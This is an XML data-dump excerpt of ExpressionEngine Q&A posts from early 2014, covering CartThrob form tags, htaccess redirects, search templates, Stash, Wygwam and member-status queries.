  <row Id="18140" PostTypeId="1" AcceptedAnswerId="18159" CreationDate="2014-01-06T23:23:52.537" Score="0" ViewCount="137" Body="&lt;p&gt;Is it possible - without an extension or hack - to add &lt;code&gt;data-&lt;/code&gt; attributes to CartThrob's form tags?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:save_customer_info_form data-foo=&quot;bar&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="100" LastActivityDate="2014-09-16T20:59:16.950" Title="Add data attributes to Cartthrob form tags" Tags="|cartthrob|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18141" PostTypeId="1" AcceptedAnswerId="18155" CreationDate="2014-01-06T23:42:44.033" Score="4" ViewCount="329" Body="&lt;p&gt;&lt;code&gt;S=0&lt;/code&gt; is randomly appearing in URL's of an ExpressionEngine site that is being developed. Has anyone encountered this before? If so, what was the issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example of url: &lt;code&gt;example.com/S=0/search/results/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="2282" LastEditorUserId="55" LastEditDate="2014-01-07T13:05:53.130" LastActivityDate="2014-01-07T13:08:47.097" Title="S=0 in URL's of ExpressionEngine site" Tags="|url|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18142" PostTypeId="1" AcceptedAnswerId="18162" CreationDate="2014-01-06T23:57:13.193" Score="1" ViewCount="86" Body="&lt;p&gt;I'm trying to redirect a url from a non-query version to a query version with EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can get the redirect working properly on a .php flat-file, such as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{QUERY_STRING} ^$&#xA;RewriteRule ^test.php$ /test.php?var=1&amp;amp;var=2 [R=301,L,QSA]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I can not get a normal EE url like this to work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{QUERY_STRING} ^$&#xA;RewriteRule ^testpage$ /testpage?var=1&amp;amp;var=2 [R=301,L,QSA]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I suspect it has to do with how EE handles queries.&lt;/p&gt;&#xA;" OwnerUserId="948" LastEditorUserId="33" LastEditDate="2014-01-07T16:12:33.913" LastActivityDate="2014-01-07T16:12:33.913" Title="htaccess redirect from non query url to query url" Tags="|ee2|htaccess|query|redirects|mod-rewrite|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18144" PostTypeId="2" ParentId="18096" CreationDate="2014-01-07T05:09:16.330" Score="1" Body="&lt;p&gt;In its simplest form you'll need another channel entries tag &amp;amp; a free module to get the category info... like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries url_title=&quot;{segment_2}&quot;}&#xA;  {exp:gwcode_categories entry_id=&quot;{entry_id}&quot;}&#xA;    &amp;lt;h1&amp;gt;{cat_name}&amp;lt;/h1&amp;gt;&#xA;    &amp;lt;p&amp;gt;{cat_desc}&amp;lt;/p&amp;gt;&#xA;  {/exp:gwcode_categories}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We're asking the channel entries tag to get the entry via its url_title (this would be segment_x with x representing where it is in the URL).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're then using a must have plugin by GWCode - &lt;a href=&quot;http://gwcode.com/add-ons/gwcode-categories/documentation&quot; rel=&quot;nofollow&quot;&gt;gwcode categories&lt;/a&gt; which uses the entries entry_id to pull in the category assigned to it. With this module you can get parent info, child info and a whole host of other category related data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, if the category is present in the URL you can use GWcode Category to get the info without the exp:channel tag to get the entry_id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PT:2&lt;/strong&gt; Just saw you had Stash as a tag in your original question which requires only one channel entry tag and makes it simpler (of sorts).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Place this at the start of your template…&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set parse_tags=&quot;yes&quot; parse_depth=&quot;2&quot;} //This is a single entry so need for lists&#xA;  {exp:channel:entries url_title=&quot;{segment_2}&quot;}&#xA;    {stash:my_title}{title}{/stash:my_title}&#xA;    {stash:my_content}{my_content_field}{/stash:my_content}&#xA;    {exp:gwcode_categories entry_id=&quot;{entry_id}&quot;}&#xA;      {stash:my_category_title}{cat_name}{/stash:my_category_title}&#xA;      {stash:my_category_desc}{cat_desc}{/stash:my_category_desc}&#xA;  {/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;&#xA;//This above records all the parts of the entry. Then further down the template output all the 'stashed' bits.&#xA;&#xA;&amp;lt;h1&amp;gt;{exp:stash:my_category_title}&amp;lt;/h1&amp;gt;&#xA;&amp;lt;p class=&quot;summary&quot;&amp;gt;{exp:stash:my_category_desc}&amp;lt;/p&amp;gt;&#xA;…&#xA;&amp;lt;div class=&quot;my_article&quot;&amp;gt;&#xA;  &amp;lt;p&amp;gt;{exp:stash:my_title}&amp;lt;/p&amp;gt;&#xA;  {exp:stash:my_content}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="166" LastEditorUserId="166" LastEditDate="2014-01-07T08:19:23.417" LastActivityDate="2014-01-07T08:19:23.417" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18146" PostTypeId="1" AcceptedAnswerId="18148" CreationDate="2014-01-07T06:27:46.107" Score="0" ViewCount="37" Body="&lt;p&gt;As an example, say I have an Authors channel, and I have an Authors List channel. The Authors channel contains a lot of biographical info on my writers; the Authors List channel lets me create a listing of writers like maybe &quot;Fall 2013 Best-Selling Authors.&quot; The Authors List channel is primarily populated by use of its Matrix field, which is where you're picking the authors to list. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be really nice is if there is some way when looking at any author in the Authors channel's back end to tell if that Author is currently included in a Matrix field in that Authors List channel. So that I can bring up Donna Tartt and see that she was listed in my Authors List entries of &quot;Fall 2013 Best-Selling Authors,&quot; &quot;Fall 2002 Best-Selling Authors,&quot; &quot;Winter 1993 Best-Selling Authors,&quot; and &quot;Fall 1992 Best-Selling Authors.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would save a ton of time and be much less error-prone vs our Plan B, which is having to create a big text field in the Authors channel and go in and manually note by hand each time we include an author in an Authors List.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(oh, forgot, while I'm asking for the moon: what would be REALLY awesome is if this automagically generated listing of Authors List entries could include both its entry and its date. rough dates are sort of inherent in my example Authors List entry titles above, but not in my actual data. thanks!)&lt;/p&gt;&#xA;" OwnerUserId="2104" LastEditorUserId="2104" LastEditDate="2014-01-07T06:33:36.387" LastActivityDate="2014-01-07T07:09:48.137" Title="Any way to denote (in back-end) channel entries that have been selected in a Matrix?" Tags="|matrix|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18147" PostTypeId="2" ParentId="18146" CreationDate="2014-01-07T06:37:14.003" Score="1" Body="&lt;p&gt;I know of none that work exactly like you;ve described but I have used &lt;a href=&quot;http://devot-ee.com/add-ons/zenbu&quot; rel=&quot;nofollow&quot;&gt;Zenbu&lt;/a&gt; to great effect to filter/search entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set it up how you like and then you can save the search criteria and you're away, very easy, quick and modestly priced.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-01-07T06:37:14.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18148" PostTypeId="2" ParentId="18146" CreationDate="2014-01-07T06:37:44.717" Score="1" Body="&lt;p&gt;I usually create a front-end admin template for these kind of elaborate info panels with links back to the control panel. The editor can browse on the front and see all info (in a more dense way than usually shown on a website) and click an entry he/she wants to edit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, for the control panel, you could maybe develop a module-tab or custom field that will generate a view of your desired data. I've seen there's an add-on called introvert, but don't know if that does work with related entries from inside a matrix. &lt;a href=&quot;http://devot-ee.com/add-ons/introvert&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/introvert&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="155" LastEditorUserId="155" LastEditDate="2014-01-07T07:09:48.137" LastActivityDate="2014-01-07T07:09:48.137" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18150" PostTypeId="1" CreationDate="2014-01-07T09:57:58.120" Score="0" ViewCount="53" Body="&lt;p&gt;I am new expression engine..I have added a htmlblock widget to a page that would show search box but is not supporting the {exp:search:simple_form channel} all these tags what should i do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:simple_form channel=&quot;blog|news|pages&quot; search_in=&quot;everywhere&quot; where=&quot;all&quot; result_page=&quot;search/&quot; no_result_page=&quot;search/no_results&quot; show_expired=&quot;yes&quot; show_future_entries=&quot;yes&quot;}&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;keywords&quot; id=&quot;keywords&quot; value=&quot;&quot; size=&quot;18&quot; maxlength=&quot;100&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; value=&quot;&quot; class=&quot;searchbtn&quot; /&amp;gt; &#xA;{/exp:search:simple_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks, Neha&lt;/p&gt;&#xA;" OwnerUserId="2576" LastEditorUserId="55" LastEditDate="2014-01-07T12:55:10.990" LastActivityDate="2014-01-07T17:34:47.100" Title="Search module in html block" Tags="|search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18151" PostTypeId="2" ParentId="18150" CreationDate="2014-01-07T10:26:18.230" Score="1" Body="&lt;p&gt;Assuming you have some form input elements within your simple_form tags you also need to include the results tags somewhere. Normally this is on another 'page' but I think you can do it on the same page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Documentation for the results tags can be found at &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/search/results.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/search/results.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, you do something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:search_results}&#xA;    {title}&#xA;    {other_custom_field1}&#xA;    {other_custom_field2}&#xA;    etc...&#xA;{/exp:search:search_results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which will loop through the results and display any data you put within the loop for each result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In light of your comment...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's a huge question, another one! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest you take a look at &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/intro/the_big_picture.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/intro/the_big_picture.html&lt;/a&gt; to start with. Basically, the URLs used on your site map to your template groups and templates.  It's really fundamental that you understand how EE's templating works so I would go look at those docs before you go any further with your site otherwise I fear you will run into bigger problems further down the line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to make things simple, start by creating a template group named &quot;search&quot;. Create a template in there called results - this is where you would use the tags I show above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then set your results_page parameter to point at &quot;search/results&quot;.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-01-07T17:34:47.100" LastActivityDate="2014-01-07T17:34:47.100" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18152" PostTypeId="2" ParentId="18103" CreationDate="2014-01-07T10:30:17.357" Score="1" Body="&lt;p&gt;For the Merchant Service application - a working Test or Live wesbite is required so that the merchant bank, Elavon, can simulate the check out process up to the payment page. This does not need to be integrated with Sage Pay at this point. &lt;/p&gt;&#xA;" OwnerUserId="2577" LastActivityDate="2014-01-07T10:30:17.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18153" PostTypeId="1" AcceptedAnswerId="18257" CreationDate="2014-01-07T12:09:20.117" Score="0" ViewCount="98" Body="&lt;p&gt;We are setting up a system for members, and will be using a plugin for storing memberdata in a channel. We did not decide yet for Solspace User, Profile:edit (likely since we'll use Cartthrob) or Zoo-visitor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One feature would be nice to implement, showing the amount of data in a profile.&#xA;With a message: 'you filled in x% of your profile.'&#xA;And a congratulation of course the moment they reach 100%.&#xA;I am interested in how to implement that, if possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyone that has done this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for helping out.&lt;/p&gt;&#xA;" OwnerUserId="1615" LastActivityDate="2014-01-10T12:02:19.550" Title="Memberdata as channel entries, showing amount empty fields in profile" Tags="|zoo-visitor|solspace-user|profile-edit|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18154" PostTypeId="1" CreationDate="2014-01-07T12:41:21.383" Score="0" ViewCount="103" Body="&lt;p&gt;I'm using Solspace Tag to display a bunch of entries by particular tag. What I need to do is to set a Canonical URL for this list of entries. The Canonical URL might be to a completely different page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because the Solspace Tag {exp:tag:entries} is effectively not a real page, I was wondering if anyone might have an idea how I would go about this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first thought would be to somehow use Low Variables to set a specific Canonical URL for a {exp:tag:entries} 'page'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="466" LastEditorUserId="55" LastEditDate="2014-01-07T14:15:30.937" LastActivityDate="2014-01-07T14:15:30.937" Title="Customizable, canonical URL for Solspace Tag entries" Tags="|solspace|low-variables|seo|solspace-tag|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="18155" PostTypeId="2" ParentId="18141" CreationDate="2014-01-07T13:08:47.097" Score="5" Body="&lt;p&gt;Make sure that you have &quot;User Session Type&quot; set to &quot;Cookies only&quot;. (&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/security_settings.html#user-session-type&quot;&gt;Docs.&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-01-07T13:08:47.097" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18156" PostTypeId="1" CreationDate="2014-01-07T13:11:28.090" Score="0" ViewCount="48" Body="&lt;p&gt;I am getting multiple results of same data.please suggest&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Search Page Code&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:simple_form channels=&quot;pages|news&quot; result_page=&quot;widgets/Widget_search_results/&quot; search_in=&quot;everywhere&quot; form_class=&quot;search&quot; where=&quot;all&quot; show_expired=&quot;yes&quot; show_future_entries=&quot;yes&quot;}    &#xA;  &amp;lt;input type=&quot;text&quot; maxlength=&quot;100&quot; size=&quot;18&quot; value=&quot;&quot; id=&quot;keywords&quot; name=&quot;keywords&quot;&amp;gt;&#xA;  &amp;lt;input type=&quot;submit&quot; class=&quot;submit&quot; value=&quot;search&quot;&amp;gt;        &#xA; {/exp:search:simple_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Result Page code&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries {embed:_channel_params}}&#xA;&amp;lt;!-- Start Widget: {channel_short_name} --&amp;gt;&#xA;&amp;lt;table border=&quot;0&quot; cellpadding=&quot;6&quot; cellspacing=&quot;1&quot; width=&quot;100%&quot;&amp;gt;&#xA;&amp;lt;tr&amp;gt;&#xA;&amp;lt;th&amp;gt;{lang:title}&amp;lt;/th&amp;gt;&#xA;&amp;lt;th&amp;gt;{lang:excerpt}&amp;lt;/th&amp;gt;&#xA;&amp;lt;th&amp;gt;{lang:author}&amp;lt;/th&amp;gt;&#xA;&amp;lt;th&amp;gt;{lang:date}&amp;lt;/th&amp;gt;&#xA;&amp;lt;th&amp;gt;{lang:total_comments}&amp;lt;/th&amp;gt;&#xA;&amp;lt;th&amp;gt;{lang:recent_comments}&amp;lt;/th&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&#xA;{exp:search:search_results switch=&quot;resultRowOne&quot;}&#xA;&#xA;&amp;lt;tr class=&quot;{switch}&quot;&amp;gt;&#xA;&amp;lt;td width=&quot;30%&quot; valign=&quot;top&quot;&amp;gt;&amp;lt;b&amp;gt;&amp;lt;a href=&quot;{auto_path}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&#xA;&amp;lt;td width=&quot;30%&quot; valign=&quot;top&quot;&amp;gt;{excerpt}&amp;lt;/td&amp;gt;&#xA;&amp;lt;td width=&quot;10%&quot; valign=&quot;top&quot;&amp;gt;&amp;lt;a href=&quot;{member_path='member/index'}&quot;&amp;gt;{author}&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;&amp;lt;td width=&quot;10%&quot; valign=&quot;top&quot;&amp;gt;{entry_date format=&quot;%m/%d/%y&quot;}&amp;lt;/td&amp;gt;&#xA;&amp;lt;td width=&quot;10%&quot; valign=&quot;top&quot;&amp;gt;{comment_total}&amp;lt;/td&amp;gt;&#xA;&amp;lt;td width=&quot;10%&quot; valign=&quot;top&quot;&amp;gt;{recent_comment_date format=&quot;%m/%d/%y&quot;}&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&#xA;{/exp:search:search_results}&#xA;&#xA;&amp;lt;/table&amp;gt;&#xA;&amp;lt;!-- End Widget: {channel_short_name} --&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2576" LastEditorUserId="55" LastEditDate="2014-01-07T13:15:52.063" LastActivityDate="2014-01-07T13:43:17.053" Title="multiple search results" Tags="|search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18157" PostTypeId="2" ParentId="18156" CreationDate="2014-01-07T13:43:17.053" Score="2" Body="&lt;p&gt;Not sure why there are &lt;code&gt;channel:entries&lt;/code&gt; loops in this template - I'm assuming you've inherited this site from another developer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start by removing the opening and closing &lt;code&gt;channel:entries&lt;/code&gt; tags.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-01-07T13:43:17.053" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18158" PostTypeId="2" ParentId="18153" CreationDate="2014-01-07T13:49:37.190" Score="0" Body="&lt;p&gt;Should be pretty simple with a custom add-on. Select all the profile fields for a member, see how many are not empty, and divide that by the total number of fields to get a percentage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also want to group some fields together as one &quot;value&quot; when doing this calculation, depending on how specific your fields are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there is no add-on out there for this - you'll need to write it yourself.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-01-07T13:49:37.190" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18159" PostTypeId="2" ParentId="18140" CreationDate="2014-01-07T14:00:07.513" Score="1" Body="&lt;p&gt;Looking at the source code, I'd say not. In the form builder CartThrob uses, these are the only permitted form attributes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected $attributes = array('id', 'class', 'name', 'onsubmit', 'enctype');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-01-07T14:00:07.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18160" PostTypeId="1" CreationDate="2014-01-07T14:41:58.300" Score="1" ViewCount="93" Body="&lt;p&gt;I uploaded an image in the file manager, when I edit my channel entry and use the image icon inside of the wygwam editor window i find the file and it previews correctly. I add it to the page and everything appears normal. When I save the entry it does not show up on the live page. Then when i go back to check and edit the entry again I see the broken image symbol and the source is set to {ci_image}&lt;/p&gt;&#xA;" OwnerUserId="2578" LastActivityDate="2014-02-06T18:20:51.163" Title="Wygwam is not saving images" Tags="|ee2|wygwam|file-manager|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18161" PostTypeId="1" CreationDate="2014-01-07T15:46:57.697" Score="0" ViewCount="219" Body="&lt;p&gt;I am creating a list of entries from all of my multi sites in Expression Engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are displayed on the main homepage and use this syntax below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries site=&quot;site1|site2&quot; category=&quot;18|15&quot; dynamic=&quot;no&quot; limit=&quot;999&quot;}&#xA;{count}.&#xA;&amp;lt;a title=&quot;{url_title}&quot; href=&quot;&#xA;{exp:query sql=&quot;SELECT site_name FROM exp_sites WHERE site_id='{entry_site_id}'&quot;}{site_name}{/exp:query}/{url_title}&quot;&amp;gt;&#xA;{channel}&#xA;Lookbook&#xA;&amp;lt;/a&amp;gt;&#xA;{main_image}{url}{/main_image}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The idea is that the entries will be all entries on the sites across the board(9 in total) but they will be displayed/organised by the category only. The reason being is that some of the channels created for the entries have to be named differently according to seasonal changes in fashion etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am struggling to do is get the image from the entries via the field name which uses Pixel &amp;amp; Tonic's Assets addon. The field name is:&lt;code&gt;{main_image{/main_image}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What it gives me is the right url to the entry but I am struggling to find the image url for the images added into the entry via the addon field in the entry area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have an idea why this is happening or a better solution to my problem? I know its finding something because the field is being rendered on the front-end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Mark&lt;/p&gt;&#xA;" OwnerUserId="1444" LastActivityDate="2014-01-07T15:46:57.697" Title="Why does my exp channel entries not display asset image url properly?" Tags="|channel-entries|assets|multi-site-manager|categories|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18162" PostTypeId="2" ParentId="18142" CreationDate="2014-01-07T16:00:32.530" Score="0" Body="&lt;p&gt;I've written a fairly robust set of &lt;a href=&quot;https://gist.github.com/Ottergoose/5534170&quot; rel=&quot;nofollow&quot;&gt;mod_rewrite .htaccess rules for EE&lt;/a&gt;; I've got a couple of rules in there that will deal with query strings, hopefully it'll solve your problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: you'll need all four of the cases I have in there, which should be a complete set of cases needed for query strings and removing index.php from the URL; those four cases would be used to replace whatever rules you have in place to handle that functionality now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may need to make a few minor tweaks, but, that Gist is pretty well documented; please let me know if you have any questions about it.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-01-07T16:00:32.530" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18163" PostTypeId="1" AcceptedAnswerId="18180" CreationDate="2014-01-07T16:11:33.303" Score="0" ViewCount="118" Body="&lt;p&gt;Looking for an appointments scheduler add-on for EE. Looked at rEEservartion but not quite the right fit. Basically what we need is the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A system enabling appointments to be scheduled for a one-off 2-day event with set times of half an hour from 10 - 5. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Signed-up members - say 10 in total - form a 'pool' which need to schedule meetings with each other. Each member can click to 'book' (no payment involved) a half hour slot with another member of the pool and set this to unavailable in both their own scheduler and the booked one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, Mr Smith clicks on &quot;10-10.30 AM&quot; on Mr Jones Scheduler and the add-on blocks out this slot on both Smith and Jones' schedule. It also sends an email to both members notifying them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Conversely it should also be possible to cancel this (by Smith or Jones) and free the slot again. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any add-on for this? Does not need to hook up with any payment system...purely internal. I think it is also possible to do through channels and Zoo Visitor maybe and by-pass the Add-on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone done anything like this?&lt;/p&gt;&#xA;" OwnerUserId="2748" LastActivityDate="2014-01-08T06:05:20.870" Title="Add-on for Appointments scheduler suggestions?" Tags="|events|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18164" PostTypeId="1" CreationDate="2014-01-07T16:49:55.133" Score="1" ViewCount="257" Body="&lt;p&gt;I'm looking to use the &lt;a href=&quot;http://ckeditor.com/addon/wordcount&quot; rel=&quot;nofollow&quot;&gt;wordcount&lt;/a&gt; plugin for the CKeditor in WYGWAM.  Wordcount states it is compatible with version 4 of CKeditor, which is in v3 of WYGWAM.  So my question is - Is it possible to get wordcount working inside of WYGWAM 3?  Can anyone confirm before I buy a licence?&lt;/p&gt;&#xA;" OwnerUserId="2580" LastActivityDate="2014-02-16T12:35:20.360" Title="Wygwam &amp; CKeditor wordcount" Tags="|wygwam|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18165" PostTypeId="2" ParentId="18125" CreationDate="2014-01-07T16:56:40.817" Score="1" Body="&lt;p&gt;There is no built-in way to display all statuses of members in an EE member group. However, you can get this data using the EE query module:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT * FROM exp_friends_status AS f &#xA;    JOIN exp_members AS m ON m.member_id = f.member_id&#xA;    WHERE f.group_id = 5&quot;}&#xA;  {status} by {screen_name}&amp;lt;br /&amp;gt;&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...where &lt;strong&gt;&lt;code&gt;5&lt;/code&gt;&lt;/strong&gt; in &lt;code&gt;f.group_id = 5&lt;/code&gt; is the EE member group_id from which you want all the group's member statuses to be displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: &lt;em&gt;The above is to display statuses of members within a &lt;strong&gt;EE member group&lt;/strong&gt;, not a &lt;strong&gt;Friends Group&lt;/strong&gt;. For a Friends Group, the query would be different.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-01-07T16:56:40.817" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18167" PostTypeId="2" ParentId="18164" CreationDate="2014-01-07T16:59:55.887" Score="0" Body="&lt;p&gt;While I haven't used that particular extension (Wordcount) with Wygam, I have had success using a few others, so it should theoretically work. If it doesn't, Devot-ee has a 30 day return policy.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-01-07T16:59:55.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18168" PostTypeId="2" ParentId="18160" CreationDate="2014-01-07T17:03:09.083" Score="1" Body="&lt;p&gt;Assuming you are using an older version of wygwam, try updating Wygwam to the latest version that has the &quot;Restrict allowed HTML?&quot; option in the Configuration settings, and set it to &quot;No&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mjbLD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1684" LastActivityDate="2014-01-07T17:03:09.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18169" PostTypeId="2" ParentId="9331" CreationDate="2014-01-07T17:58:26.063" Score="1" Body="&lt;p&gt;Actually you will need to set the StylesSet as Ian said, but the option looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/26nMv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It doesn't &quot;really&quot; matter where the file is located, you just have to enter the path to it. I prefer using a relative path. Then be sure you have the &quot;Styles&quot; drop down in whichever Configuration file you are using for WYGWAM:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EhDqX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then just use the styles to add whatever style to text, images, etc...&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2014-01-07T17:58:26.063" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
